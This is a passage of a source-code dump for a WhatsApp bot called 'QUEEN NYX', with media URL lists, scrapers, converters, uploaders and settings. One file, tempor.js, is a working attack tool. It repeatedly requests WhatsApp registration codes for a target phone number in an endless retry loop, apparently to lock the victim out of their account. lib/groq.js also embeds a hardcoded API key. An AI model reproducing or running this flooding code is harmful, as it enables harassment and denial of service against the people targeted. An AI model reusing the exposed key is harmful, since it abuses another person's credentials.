8 | {"url":"https://k.top4top.io/m_19308amkf0.mp4"}, 9 | {"url":"https://d.top4top.io/m_1930wjaq60.mp4"}, 10 | {"url":"https://i.top4top.io/m_1930n2um40.mp4"}, 11 | {"url":"https://i.top4top.io/m_1930e14pi0.mp4"}, 12 | {"url":"https://i.top4top.io/m_1930w6lwf0.mp4"}, 13 | {"url":"https://e.top4top.io/m_19307autl0.mp4"}, 14 | {"url":"https://d.top4top.io/m_1930i6tfc0.mp4"}, 15 | {"url":"https://c.top4top.io/m_1930qmr7u0.mp4"}, 16 | {"url":"https://d.top4top.io/m_1930itbte1.mp4"}, 17 | {"url":"https://i.top4top.io/m_1930ze4oq0.mp4"}, 18 | {"url":"https://j.top4top.io/m_1930kkqyh1.mp4"}, 19 | {"url":"https://f.top4top.io/m_1930zevlz0.mp4"}, 20 | {"url":"https://g.top4top.io/m_1930q0apu1.mp4"}, 21 | {"url":"https://h.top4top.io/m_1930trfsv2.mp4"} 22 | ] -------------------------------------------------------------------------------- /lib/tiktok.js: -------------------------------------------------------------------------------- 1 | const axios = require("axios"); 2 | const cheerio = require("cheerio"); 3 | 4 | const clean = (data) => { 5 | let regex = /(<([^>]+)>)/gi; 6 | data = data.replace(/()/gi, " \n"); 7 | return data.replace(regex, ""); 8 | }; 9 | 10 | async function shortener(url) { 11 | return url; 12 | } 13 | 14 | exports.Tiktok = async(query) => { 15 | let response = await axios("https://lovetik.com/api/ajax/search", { 16 | method: "POST", 17 | data: new URLSearchParams(Object.entries({ query })), 18 | }); 19 | 20 | result = {}; 21 | 22 | result.creator = "YNTKTS"; 23 | result.title = clean(response.data.desc); 24 | result.author = clean(response.data.author); 25 | result.nowm = await shortener( 26 | (response.data.links[0].a || "").replace("https", "http") 27 | ); 28 | result.watermark = await shortener( 29 | (response.data.links[1].a || "").replace("https", "http") 30 | ); 31 | result.audio = await shortener( 32 | (response.data.links[2].a || "").replace("https", "http") 33 | ); 34 | result.thumbnail = await shortener(response.data.cover); 35 | return result; 36 | } 37 | -------------------------------------------------------------------------------- /src/media/tiktokpics/japan.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://i.postimg.cc/RCcjLvF6/p-196252lk91.jpg"}, 3 | {"url":"https://i.postimg.cc/7hMdHncM/p-19625eppj1.jpg"}, 4 | {"url":"https://i.postimg.cc/CLpwwvZD/p-19629cg431.jpg"}, 5 | {"url":"https://i.postimg.cc/pVwLpWSm/p-19629eev81.jpg"}, 6 | {"url":"https://i.postimg.cc/ydxwTRD7/p-1962cau3w1.jpg"}, 7 | {"url":"https://i.postimg.cc/D0LFqGN8/p-1962ck87p1.jpg"}, 8 | {"url":"https://i.postimg.cc/76zjcknR/p-1962fyik51.jpg"}, 9 | {"url":"https://i.postimg.cc/bYtzcXvp/p-1962i85aq1.jpg"}, 10 | {"url":"https://i.postimg.cc/nLWtgTbX/p-1962nvj4g1.jpg"}, 11 | {"url":"https://i.postimg.cc/rFGMsSWH/p-1962o5sp41.jpg"}, 12 | {"url":"https://i.postimg.cc/wTgnWnyW/p-1962p9nlk1.jpg"}, 13 | {"url":"https://i.postimg.cc/T1XBv4k3/p-1962q7ura1.jpg"}, 14 | {"url":"https://i.postimg.cc/nz6pj20y/p-1962qiubc1.jpg"}, 15 | {"url":"https://i.postimg.cc/13CxVMzv/p-1962tt38s1.jpg"}, 16 | {"url":"https://i.postimg.cc/ZYBqbBwk/p-1962ufc7p1.jpg"}, 17 | {"url":"https://i.postimg.cc/52x1C6S2/p-1962vn5rc1.jpg"}, 18 | {"url":"https://i.postimg.cc/GpHWFY8d/p-1962vpyp71.jpg"}, 19 | {"url":"https://i.postimg.cc/tTc8vg6W/p-1962w2hyp1.jpg"} 20 | ] 21 | -------------------------------------------------------------------------------- /src/media/tiktokvids/gheayubi.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://l.top4top.io/m_1931ufrul0.mp4"}, 3 | {"url":"https://a.top4top.io/m_1931jbdpk1.mp4"}, 4 | {"url":"https://c.top4top.io/m_1931aj9nm2.mp4"}, 5 | {"url":"https://d.top4top.io/m_1931cnsal3.mp4"}, 6 | {"url":"https://e.top4top.io/m_1931d4kc74.mp4"}, 7 | {"url":"https://f.top4top.io/m_1931bih8q5.mp4"}, 8 | {"url":"https://g.top4top.io/m_1931xx7aa6.mp4"}, 9 | {"url":"https://h.top4top.io/m_1931g3zsq7.mp4"}, 10 | {"url":"https://a.top4top.io/m_1931m74wd0.mp4"}, 11 | {"url":"https://b.top4top.io/m_1931p8tfm1.mp4"}, 12 | {"url":"https://e.top4top.io/m_1931aj8iv0.mp4"}, 13 | {"url":"https://f.top4top.io/m_1931szguy1.mp4"}, 14 | {"url":"https://g.top4top.io/m_1931l73ry2.mp4"}, 15 | {"url":"https://h.top4top.io/m_1931yhznj3.mp4"}, 16 | {"url":"https://i.top4top.io/m_1931kmtp34.mp4"}, 17 | {"url":"https://j.top4top.io/m_1931snhdg5.mp4"}, 18 | {"url":"https://k.top4top.io/m_1931ay1jz6.mp4"}, 19 | {"url":"https://l.top4top.io/m_1931x70mk7.mp4"}, 20 | {"url":"https://a.top4top.io/m_19319mvvf8.mp4"}, 21 | {"url":"https://b.top4top.io/m_1931icmzd9.mp4"}, 22 | {"url":"https://h.top4top.io/m_19316oo0s0.mp4"}, 23 | {"url":"https://i.top4top.io/m_1931cvvpt1.mp4"} 24 | ] -------------------------------------------------------------------------------- /src/media/tiktokpics/korea.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://i.postimg.cc/K87Z4CkB/p-19620motq1.jpg"}, 3 | {"url":"https://i.postimg.cc/wvgR7hjT/p-19623vybj1.jpg"}, 4 | {"url":"https://i.postimg.cc/QtJ5bfyT/p-19623z95r1.jpg"}, 5 | {"url":"https://i.postimg.cc/XJbddRQW/p-19624y1on1.jpg"}, 6 | {"url":"https://i.postimg.cc/dVG0rLX7/p-19625anrs1.jpg"}, 7 | {"url":"https://i.postimg.cc/9fWc91ZS/p-19625lzea1.jpg"}, 8 | {"url":"https://i.postimg.cc/SKWzSZqv/p-19626rftx1.jpg"}, 9 | {"url":"https://i.postimg.cc/hPjxLbbX/p-196298pkr1.jpg"}, 10 | {"url":"https://i.postimg.cc/hvGJ0cmk/p-1962alh5c1.jpg"}, 11 | {"url":"https://i.postimg.cc/ZqcKsXJ4/p-1962asjl31.jpg"}, 12 | {"url":"https://i.postimg.cc/pX6jqhqq/p-1962enqpe1.jpg"}, 13 | {"url":"https://i.postimg.cc/T1SPqmfb/p-1962gl6nf1.jpg"}, 14 | {"url":"https://i.postimg.cc/mZVC16Mx/p-1962koqm41.jpg"}, 15 | {"url":"https://i.postimg.cc/d3zqTYjm/p-1962pvq221.jpg"}, 16 | {"url":"https://i.postimg.cc/3xQ883R3/p-1962spcdo1.jpg"}, 17 | {"url":"https://i.postimg.cc/BbZFw2rw/p-1962u3qhb1.jpg"}, 18 | {"url":"https://i.postimg.cc/nVwMJ8BL/p-1962umwai1.jpg"}, 19 | {"url":"https://i.postimg.cc/76hDs6Bn/p-1962y8lij1.jpg"}, 20 | {"url":"https://i.postimg.cc/ydp6s9JG/p-1962yt9ph1.jpg"} 21 | ] 22 | -------------------------------------------------------------------------------- /src/media/tiktokpics/thailand.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://i.postimg.cc/MKwCG5Rj/p-19620yu8j1.jpg"}, 3 | {"url":"https://i.postimg.cc/65s9fCZ9/p-19621n2fn1.jpg"}, 4 | {"url":"https://i.postimg.cc/CK4YF2r5/p-196221mzj1.jpg"}, 5 | {"url":"https://i.postimg.cc/zvQ8sRtk/p-19625i86i1.jpg"}, 6 | {"url":"https://i.postimg.cc/Hk9sxjVT/p-19625rbg41.jpg"}, 7 | {"url":"https://i.postimg.cc/tg9Qm5Rj/p-19628jnew1.jpg"}, 8 | {"url":"https://i.postimg.cc/SszBntDc/p-19629bz111.jpg"}, 9 | {"url":"https://i.postimg.cc/ZRCTVcjq/p-19629tjrl1.jpg"}, 10 | {"url":"https://i.postimg.cc/kgXLQ5TJ/p-1962a1u5x1.jpg"}, 11 | {"url":"https://i.postimg.cc/g2FP3pfr/p-1962abu7p1.jpg"}, 12 | {"url":"https://i.postimg.cc/sDp361P5/p-1962bogt61.jpg"}, 13 | {"url":"https://i.postimg.cc/x8vBRNrC/p-1962hcxhl1.jpg"}, 14 | {"url":"https://i.postimg.cc/c1PJkVpG/p-1962jl0ff1.jpg"}, 15 | {"url":"https://i.postimg.cc/MTRL6fpD/p-1962m8ada1.jpg"}, 16 | {"url":"https://i.postimg.cc/wvvK9js4/p-1962nrl7q1.jpg"}, 17 | {"url":"https://i.postimg.cc/ydrMxCm1/p-1962on9rv1.jpg"}, 18 | {"url":"https://i.postimg.cc/zf4MYF8v/p-1962pkbhs1.jpg"}, 19 | {"url":"https://i.postimg.cc/6pjgYNPd/p-1962vn05h1.jpg"}, 20 | {"url":"https://i.postimg.cc/m20TVCFL/p-1962zveny1.jpg"} 21 | ] 22 | -------------------------------------------------------------------------------- /lib/groq.js: -------------------------------------------------------------------------------- 1 | const Groq = require('groq-sdk'); 2 | 3 | // Initialize Groq AI with API Key 4 | const client = new Groq({ apiKey: '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' }); 5 | 6 | async function PrexzyChat(prompt) { 7 | try { 8 | const chatCompletion = await client.chat.completions.create({ 9 | messages: [ 10 | { 11 | "role": "system", 12 | "content": "You Are QUEEN NYX, an AI assistant developed by Precious Ayomide from Nigeria. Your WhatsApp channel is PREXZYVILLA." 13 | }, 14 | { 15 | "role": "assistant", 16 | "content": "Hello! I'm QUEEN NYX 👑, your AI assistant. How can I help you today?" 17 | }, 18 | { 19 | "role": "user", 20 | "content": prompt 21 | } 22 | ], 23 | model: 'llama3-8b-8192' 24 | }); 25 | 26 | return chatCompletion.choices[0].message.content; 27 | 28 | } catch (error) { 29 | console.error("Groq AI Error:", error); 30 | return "❌ AI is currently unavailable. Please try again later."; 31 | } 32 | } 33 | 34 | module.exports = { PrexzyChat }; -------------------------------------------------------------------------------- /lib/mongoDB.js: -------------------------------------------------------------------------------- 1 | const mongoose = require('mongoose') 2 | const { Schema } = mongoose 3 | 4 | module.exports = class mongoDB { 5 | constructor(url, options = { useNewUrlParser: true, useUnifiedTopology: true }) { 6 | this.url = url 7 | this.data = this._data = this._schema = this._model = {} 8 | this.db 9 | this.options = options 10 | } 11 | async read() { 12 | this.db = await mongoose.connect(this.url, { ...this.options }) 13 | this.connection = mongoose.connection 14 | let schema = this._schema = new Schema({ 15 | data: { 16 | type: Object, 17 | required: true, //depends on whether the field is mandatory or not 18 | default: {} 19 | } 20 | }) 21 | // this._model = mongoose.model('data', schema) 22 | try { this._model = mongoose.model('data', schema) } catch { this._model = mongoose.model('data') } 23 | this._data = await this._model.findOne({}) 24 | if (!this._data) { 25 | this.data = {} 26 | await this.write(this.data) 27 | this._data = await this._model.findOne({}) 28 | } else this.data = this._data.data 29 | return this.data 30 | } 31 | 32 | 33 | async write(data) { 34 | if (!data) return data 35 | if (!this._data) return (new this._model({ data })).save() 36 | this._model.findById(this._data._id, (err, docs) => { 37 | if (!err) { 38 | if (!docs.data) docs.data = {} 39 | docs.data = data 40 | return docs.save() 41 | } 42 | }) 43 | } 44 | } -------------------------------------------------------------------------------- /src/media/tiktokpics/malaysia.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://i.postimg.cc/Hn7f77xj/p-19622gld51.jpg"}, 3 | {"url":"https://i.postimg.cc/Hnpyrb39/p-196240q3o1.jpg"}, 4 | {"url":"https://i.postimg.cc/wMGj9Nrv/p-19624pvv61.jpg"}, 5 | {"url":"https://i.postimg.cc/hPXGpCJ7/p-19625n89w1.jpg"}, 6 | {"url":"https://i.postimg.cc/TwQPHFqn/p-19627bm3c1.jpg"}, 7 | {"url":"https://i.postimg.cc/zG08NKR1/p-1962c7n2o1.jpg"}, 8 | {"url":"https://i.postimg.cc/j2XkfQTx/p-1962caiz61.jpg"}, 9 | {"url":"https://i.postimg.cc/59TJNf06/p-1962csdwa1.jpg"}, 10 | {"url":"https://i.postimg.cc/6pwptBjC/p-1962d0xml1.jpg"}, 11 | {"url":"https://i.postimg.cc/PqyhtZpj/p-1962d4cuh1.jpg"}, 12 | {"url":"https://i.postimg.cc/DZYTGTPp/p-1962grit21.jpg"}, 13 | {"url":"https://i.postimg.cc/L8BFTfV1/p-1962mt0wq1.jpg"}, 14 | {"url":"https://i.postimg.cc/SKgF0h3Q/p-1962p3bmk1.jpg"}, 15 | {"url":"https://i.postimg.cc/25tYbYwc/p-1962pac7k1.jpg"}, 16 | {"url":"https://i.postimg.cc/fRXRhJfz/p-1962qpsvb1.jpg"}, 17 | {"url":"https://i.postimg.cc/Yq7Hmb6H/p-1962rcc7k1.jpg"}, 18 | {"url":"https://i.postimg.cc/G3QDZSh7/p-1962v04461.jpg"}, 19 | {"url":"https://i.postimg.cc/6QttJzQc/p-1962va89q1.jpg"}, 20 | {"url":"https://i.postimg.cc/t4HHWDFb/p-1962y8nl71.jpg"}, 21 | {"url":"https://i.postimg.cc/02VB2fZZ/p-1962y8oif1.jpg"}, 22 | {"url":"https://i.postimg.cc/CMqh8R9j/p-1962yyuuh1.jpg"}, 23 | {"url":"https://i.postimg.cc/T1LXq4kd/p-1962zgkj21.jpg"} 24 | ] 25 | -------------------------------------------------------------------------------- /src/media/tiktokvids/santuy.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://e.top4top.io/m_1930wespy0.mp4"}, 3 | {"url":"https://e.top4top.io/m_19303zfi20.mp4"}, 4 | {"url":"https://j.top4top.io/m_1930t00kx0.mp4"}, 5 | {"url":"https://e.top4top.io/m_1930kx7hi0.mp4"}, 6 | {"url":"https://c.top4top.io/m_19307g6kd0.mp4"}, 7 | {"url":"https://f.top4top.io/m_19306yk4c0.mp4"}, 8 | {"url":"https://i.top4top.io/m_1930y1u780.mp4"}, 9 | {"url":"https://j.top4top.io/m_1930ilsyy0.mp4"}, 10 | {"url":"https://i.top4top.io/m_19301948b0.mp4"}, 11 | {"url":"https://d.top4top.io/m_1930zg8460.mp4"}, 12 | {"url":"https://i.top4top.io/m_19301yozl0.mp4"}, 13 | {"url":"https://g.top4top.io/m_1930qjr2q0.mp4"}, 14 | {"url":"https://l.top4top.io/m_1930x1wp50.mp4"}, 15 | {"url":"https://a.top4top.io/m_1930zr1041.mp4"}, 16 | {"url":"https://b.top4top.io/m_1930s29hq2.mp4"}, 17 | {"url":"https://a.top4top.io/m_1930kbo0y0.mp4"}, 18 | {"url":"https://j.top4top.io/m_1930xek9z0.mp4"}, 19 | {"url":"https://i.top4top.io/m_1930s7gb80.mp4"}, 20 | {"url":"https://c.top4top.io/m_1930w0dbu0.mp4"}, 21 | {"url":"https://d.top4top.io/m_1930xu4kd1.mp4"}, 22 | {"url":"https://a.top4top.io/m_1930zw2nb0.mp4"}, 23 | {"url":"https://b.top4top.io/m_1930eybjj1.mp4"}, 24 | {"url":"https://g.top4top.io/m_1930fmx330.mp4"}, 25 | {"url":"https://l.top4top.io/m_1930gnlam0.mp4"}, 26 | {"url":"https://g.top4top.io/m_1930twwu50.mp4"}, 27 | {"url":"https://l.top4top.io/m_1930qkeh70.mp4"}, 28 | {"url":"https://l.top4top.io/m_1930wefm20.mp4"}, 29 | {"url":"https://a.top4top.io/m_1930idzd51.mp4"} 30 | ] -------------------------------------------------------------------------------- /src/media/tiktokvids/bocil.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://b.top4top.io/m_1931yxodg0.mp4"}, 3 | {"url":"https://k.top4top.io/m_193161p380.mp4"}, 4 | {"url":"https://l.top4top.io/m_1931i4g3p1.mp4"}, 5 | {"url":"https://a.top4top.io/m_1931tjlio2.mp4"}, 6 | {"url":"https://g.top4top.io/m_1931z2mc40.mp4"}, 7 | {"url":"https://h.top4top.io/m_1931auyof1.mp4"}, 8 | {"url":"https://i.top4top.io/m_19315hrle2.mp4"}, 9 | {"url":"https://j.top4top.io/m_1931xul5a3.mp4"}, 10 | {"url":"https://l.top4top.io/m_1931o92nr0.mp4"}, 11 | {"url":"https://a.top4top.io/m_1931j1rh21.mp4"}, 12 | {"url":"https://b.top4top.io/m_1931iaqpg2.mp4"}, 13 | {"url":"https://c.top4top.io/m_1931s5zlj3.mp4"}, 14 | {"url":"https://d.top4top.io/m_1931x0g5a4.mp4"}, 15 | {"url":"https://i.top4top.io/m_1931oj76n0.mp4"}, 16 | {"url":"https://j.top4top.io/m_19319gl3d1.mp4"}, 17 | {"url":"https://k.top4top.io/m_1931u52cq2.mp4"}, 18 | {"url":"https://l.top4top.io/m_1931mvgj73.mp4"}, 19 | {"url":"https://a.top4top.io/m_1931u07oz4.mp4"}, 20 | {"url":"https://j.top4top.io/m_1931h1fo60.mp4"}, 21 | {"url":"https://k.top4top.io/m_1931mro3u1.mp4"}, 22 | {"url":"http://sansekai.my.id/ptl_repost/120664457_338629710563119_6615226849280369453_n.mp4"}, 23 | {"url":"https://l.top4top.io/m_1931kx0ac2.mp4"}, 24 | {"url":"https://a.top4top.io/m_1931g9ezq3.mp4"}, 25 | {"url":"https://b.top4top.io/m_1931plin14.mp4"}, 26 | {"url":"https://c.top4top.io/m_1931aaxri5.mp4"}, 27 | {"url":"https://d.top4top.io/m_1931ijzzn6.mp4"}, 28 | {"url":"https://e.top4top.io/m_1931ugycd7.mp4"}, 29 | {"url":"https://f.top4top.io/m_1931l14nk8.mp4"}, 30 | {"url":"https://g.top4top.io/m_1931crgqt9.mp4"} 31 | ] -------------------------------------------------------------------------------- /src/media/tiktokvids/ukhty.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://e.top4top.io/m_1930ns2zo0.mp4"}, 3 | {"url":"https://k.top4top.io/m_1930j9i810.mp4"}, 4 | {"url":"https://f.top4top.io/m_1930wtj580.mp4"}, 5 | {"url":"https://d.top4top.io/m_1930a2isv0.mp4"}, 6 | {"url":"https://e.top4top.io/m_1930wbgc41.mp4"}, 7 | {"url":"https://f.top4top.io/m_1930urbj02.mp4"}, 8 | {"url":"https://b.top4top.io/m_1930ceiqv0.mp4"}, 9 | {"url":"https://i.top4top.io/m_1931a0z6o0.mp4"}, 10 | {"url":"https://a.top4top.io/m_193190b500.mp4"}, 11 | {"url":"https://b.top4top.io/m_1931dcixz1.mp4"}, 12 | {"url":"https://g.top4top.io/m_19317gpjp0.mp4"}, 13 | {"url":"https://i.top4top.io/m_1931cc22w1.mp4"}, 14 | {"url":"https://j.top4top.io/m_1931xn6412.mp4"}, 15 | {"url":"https://g.top4top.io/m_1931silxz0.mp4"}, 16 | {"url":"https://h.top4top.io/m_1931as4mg1.mp4"}, 17 | {"url":"https://i.top4top.io/m_1931p9j5v0.mp4"}, 18 | {"url":"https://e.top4top.io/m_1931mgeuy0.mp4"}, 19 | {"url":"https://f.top4top.io/m_1931lw9381.mp4"}, 20 | {"url":"https://g.top4top.io/m_1931vm0dk2.mp4"}, 21 | {"url":"https://h.top4top.io/m_1931fiv8x3.mp4"}, 22 | {"url":"https://b.top4top.io/m_1931jm3dt0.mp4"}, 23 | {"url":"https://e.top4top.io/m_1931i7yag1.mp4"}, 24 | {"url":"https://f.top4top.io/m_1931dr5ya2.mp4"}, 25 | {"url":"https://g.top4top.io/m_193172kpg3.mp4"}, 26 | {"url":"https://h.top4top.io/m_1931j3b224.mp4"}, 27 | {"url":"https://j.top4top.io/m_19317ykt25.mp4"}, 28 | {"url":"https://k.top4top.io/m_1931o0vh16.mp4"}, 29 | {"url":"https://l.top4top.io/m_1931ssfbn7.mp4"}, 30 | {"url":"https://a.top4top.io/m_19318t7458.mp4"}, 31 | {"url":"https://b.top4top.io/m_1931vhu759.mp4"} 32 | ] -------------------------------------------------------------------------------- /lib/textpro.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const FormData = require('form-data'); 3 | const fetch = require('node-fetch'); 4 | 5 | /** 6 | * Generate text effects using TextPro API 7 | * @param {string} url - The TextPro effect URL 8 | * @param {string} text - The text to generate effect 9 | * @returns {Promise} - The generated image URL 10 | */ 11 | async function generate(url, text) { 12 | if (!url || !text) throw new Error("Missing URL or Text!"); 13 | 14 | try { 15 | const response = await axios.get(url, { 16 | headers: { 'User-Agent': 'Mozilla/5.0' } 17 | }); 18 | 19 | const cookie = response.headers['set-cookie']; 20 | const form = new FormData(); 21 | form.append('text[]', text); 22 | form.append('submit', 'GO'); 23 | 24 | const res = await fetch(url, { 25 | method: 'POST', 26 | headers: { 27 | 'User-Agent': 'Mozilla/5.0', 28 | 'Cookie': cookie.join('; '), 29 | ...form.getHeaders() 30 | }, 31 | body: form 32 | }); 33 | 34 | const resData = await res.text(); 35 | const match = resData.match(/ to) [from, to] = [to, from] 29 | from = Math.floor(from) 30 | to = Math.floor(to) 31 | return Math.floor((to - from) * Math.random() + from) 32 | } 33 | 34 | function pickRandom(list) { 35 | return list[Math.floor(Math.random() * list.length)] 36 | } 37 | 38 | function genMath(mode) { 39 | return new Promise((resolve, reject) => { 40 | let [a1, a2, b1, b2, ops, time, bonus] = modes[mode] 41 | let a = randomInt(a1, a2) 42 | let b = randomInt(b1, b2) 43 | let op = pickRandom([...ops]) 44 | let result = (new Function(`return ${a} ${op.replace('/', '*')} ${b < 0 ? `(${b})` : b}`))() 45 | if (op == '/') [a, result] = [result, a] 46 | hasil = { 47 | soal: `${a} ${operators[op]} ${b}`, 48 | mode: mode, 49 | waktu: time, 50 | hadiah: bonus, 51 | jawaban: result 52 | } 53 | resolve(hasil) 54 | }) 55 | } 56 | 57 | module.exports = { modes, operators, randomInt, pickRandom, genMath } 58 | -------------------------------------------------------------------------------- /tempor.js: -------------------------------------------------------------------------------- 1 | const prompt = require('prompt-sync')(); 2 | const gradient = require('gradient-string'); 3 | const pino = require('pino'); 4 | const fs = require('fs') 5 | const chalk = require('chalk') 6 | 7 | const { default: makeWaSocket, useMultiFileAuthState } = require('@whiskeysockets/baileys'); 8 | 9 | const numbers = JSON.parse(fs.readFileSync('./Temporary/T.json')); 10 | 11 | if (global.temmp instanceof Array) console.log() 12 | else global.temmp = [] 13 | 14 | const temporary = async (PrexzyVilla, m, kodenegara, nomortarget, from) => { 15 | 16 | try { 17 | 18 | const start = async () => { 19 | 20 | const { state, saveCreds } = await useMultiFileAuthState('.mm') 21 | 22 | const spam = makeWaSocket({ 23 | auth: state, 24 | mobile: true, 25 | logger: pino({ level: 'silent' }) 26 | }) 27 | const dropNumber = async (context) => { 28 | const { phoneNumber, ddi, number } = context; 29 | while (true) { 30 | try { 31 | res = await spam.requestRegistrationCode({ 32 | phoneNumber: '+' + phoneNumber, 33 | phoneNumberCountryCode: ddi, 34 | phoneNumberNationalNumber: number, 35 | phoneNumberMobileCountryCode: 666 36 | }) 37 | b = (res.reason === 'temporarily_unavailable'); 38 | if (b) { 39 | console.log(gradient('red', 'red')(`+${res.login}@s.whatsapp.net`)); 40 | setTimeout(async () => { 41 | dropNumber(context) 42 | }, res.retry_after * 10) 43 | return; 44 | } 45 | } catch (error) { 46 | console.log(error) 47 | } 48 | } 49 | 50 | } 51 | console.log(chalk.red.bold(`[ Temporary ] -> (${kodenegara}${nomortarget})`)) 52 | let ddi = `${kodenegara}` 53 | let number = `${nomortarget}` 54 | let phoneNumber = ddi + number; 55 | numbers[phoneNumber] = { ddi, number } 56 | fs.writeFileSync('./Temporary/T.json', JSON.stringify(numbers, null, '\t')); 57 | dropNumber({ phoneNumber, ddi, number }) 58 | 59 | } 60 | start(); 61 | } catch (e) { 62 | console.log(e) 63 | } 64 | } 65 | module.exports = { temporary, temmp } -------------------------------------------------------------------------------- /converter.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs') 2 | const path = require('path') 3 | const { spawn } = require('child_process') 4 | 5 | function ffmpeg(buffer, args = [], ext = '', ext2 = '') { 6 | return new Promise(async (resolve, reject) => { 7 | try { 8 | let tmp = path.join(__dirname, '../tmp', + new Date + '.' + ext) 9 | let out = tmp + '.' + ext2 10 | await fs.promises.writeFile(tmp, buffer) 11 | spawn('ffmpeg', [ 12 | '-y', 13 | '-i', tmp, 14 | ...args, 15 | out 16 | ]) 17 | .on('error', reject) 18 | .on('close', async (code) => { 19 | try { 20 | await fs.promises.unlink(tmp) 21 | if (code !== 0) return reject(code) 22 | resolve({ 23 | data: await fs.promises.readFile(out), 24 | filename: out, 25 | delete() { 26 | return fs.promises.unlink(out) 27 | } 28 | }) 29 | } catch (e) { 30 | reject(e) 31 | } 32 | }) 33 | } catch (e) { 34 | reject(e) 35 | } 36 | }) 37 | } 38 | 39 | /** 40 | * Convert Audio to Playable WhatsApp Audio 41 | * @param {Buffer} buffer Audio Buffer 42 | * @param {String} ext File Extension 43 | */ 44 | function toPTT(buffer, ext) { 45 | return ffmpeg(buffer, [ 46 | '-vn', 47 | '-c:a', 'libopus', 48 | '-b:a', '128k', 49 | '-vbr', 'on', 50 | ], ext, 'ogg') 51 | } 52 | 53 | /** 54 | * Convert Audio to Playable WhatsApp PTT 55 | * @param {Buffer} buffer Audio Buffer 56 | * @param {String} ext File Extension 57 | */ 58 | function toAudio(buffer, ext) { 59 | return ffmpeg(buffer, [ 60 | '-vn', 61 | '-c:a', 'libopus', 62 | '-b:a', '128k', 63 | '-vbr', 'on', 64 | '-compression_level', '10' 65 | ], ext, 'opus') 66 | } 67 | 68 | /** 69 | * Convert Audio to Playable WhatsApp Video 70 | * @param {Buffer} buffer Video Buffer 71 | * @param {String} ext File Extension 72 | */ 73 | function toVideo(buffer, ext) { 74 | return ffmpeg(buffer, [ 75 | '-c:v', 'libx264', 76 | '-c:a', 'aac', 77 | '-ab', '128k', 78 | '-ar', '44100', 79 | '-crf', '32', 80 | '-preset', 'slow' 81 | ], ext, 'mp4') 82 | } 83 | 84 | module.exports = { 85 | toAudio, 86 | toPTT, 87 | toVideo, 88 | ffmpeg, 89 | } -------------------------------------------------------------------------------- /settings.js: -------------------------------------------------------------------------------- 1 | //PREXZY SOLOS 2 | //YouTube: @prexzyvilla 3 | //Telegram: t.me/prexzyvilla_tech 4 | 5 | 6 | 7 | const fs = require('fs') 8 | const chalk = require('chalk') 9 | 10 | //owmner v card 11 | global.ytname = "YT: PrexzyVilla" //ur yt chanel name 12 | global.socialm = "IG : prexzy.ay" //ur github or insta name 13 | global.location = "Nigeria" //ur location 14 | 15 | //new 16 | global.botname = 'QUEEN NYX👸' //ur bot name 17 | global.ownernumber = '16582044119' //ur owner number 18 | global.ownername = '©Precious Ayomide' //ur owner name 19 | global.websitex = "https://whatsapp.com/channel/0029VapyPnMKAwEk3YuHAb3s" //"https://whatsapp.com/channel/0029VaoNzzlJJhzQTJBL5n0F" 20 | global.wagc = "https://chat.whatsapp.com/EletTHoIrrj2CCPFYfmdVD" //"https://whatsapp.com/channel/0029VaoNzzlJJhzQTJBL5n0F" 21 | global.idch = '120363322892680943@newsletter' 22 | global.themeemoji = '🪀' 23 | global.wm = "NYX👸" 24 | global.botscript = 'https://whatsapp.com/channel/0029VapyPnMKAwEk3YuHAb3s' //'https://whatsapp.com/channel/0029VaoNzzlJJhzQTJBL5n0F' //script link 25 | global.packname = "Queen Nyx👸" 26 | global.author = "Precious Ayomide" 27 | global.creator = "2349159895444@s.whatsapp.net" 28 | global.xprefix = '.' 29 | global.antidelete = true 30 | global.premium = ["2349159895444"] // Premium User 31 | global.hituet = 0 32 | global.chatModeUsers = {}; // Store chat mode status per user 33 | 34 | //bot sett 35 | global.typemenu = 'v8' // menu type 'v1' => 'v8' 36 | global.typereply = 'v4' // reply type 'v1' => 'v3' 37 | global.autoblocknumber = '' //set autoblock country code 38 | global.antiforeignnumber = '' //set anti foreign number country code 39 | global.welcome = false //welcome/left in groups 40 | global.anticall = false //bot blocks user when called 41 | global.autoswview = true //auto status/story view 42 | global.adminevent = false //show promote/demote message 43 | global.groupevent = false //show update messages in group chat 44 | //msg 45 | global.mess = { 46 | limit: 'Your limit is up <\>', 47 | nsfw: 'Nsfw is disabled in this group, Please tell the admin to enable', 48 | done: 'Done ✓', 49 | error: 'Error !', 50 | success: 'Succes •' 51 | } 52 | //thumbnail 53 | global.thumb = fs.readFileSync('./PrexzyMedia/theme/nyxpic.jpg') 54 | 55 | let file = require.resolve(__filename) 56 | fs.watchFile(file, () => { 57 | fs.unwatchFile(file) 58 | console.log(chalk.redBright(`Update'${__filename}'`)) 59 | delete require.cache[file] 60 | require(file) 61 | }) 62 | -------------------------------------------------------------------------------- /lib/uploader.js: -------------------------------------------------------------------------------- 1 | let axios = require('axios'); 2 | let BodyForm = require('form-data'); 3 | let fs = require('fs'); 4 | let cheerio = require('cheerio'); 5 | 6 | // Function to upload files to Catbox 7 | async function CatBox(filePath) { 8 | try { 9 | const fileStream = fs.createReadStream(filePath); 10 | const formData = new BodyForm(); 11 | formData.append('fileToUpload', fileStream); 12 | formData.append('reqtype', 'fileupload'); 13 | formData.append('userhash', ''); // You can provide a userhash if needed 14 | 15 | const response = await axios.post('https://catbox.moe/user/api.php', formData, { 16 | headers: { 17 | ...formData.getHeaders(), 18 | }, 19 | }); 20 | 21 | // Assuming the API returns the file URL as a response 22 | return response.data; 23 | } catch (error) { 24 | console.error("Error at Catbox uploader:", error); 25 | return "An error occurred while uploading to Catbox."; 26 | } 27 | } 28 | 29 | // Function to upload files to PomfCDN 30 | async function pomfCDN(path) { 31 | try { 32 | const fileStream = fs.createReadStream(path); 33 | const formData = new BodyForm(); 34 | formData.append('files[]', fileStream); 35 | 36 | const response = await axios.post('https://pomf.lain.la/upload.php', formData, { 37 | headers: { 38 | ...formData.getHeaders(), 39 | }, 40 | }); 41 | 42 | return response.data.files[0].url; 43 | } catch (error) { 44 | console.log("Error at pomf uploader in lib/uploader.js:", error); 45 | return 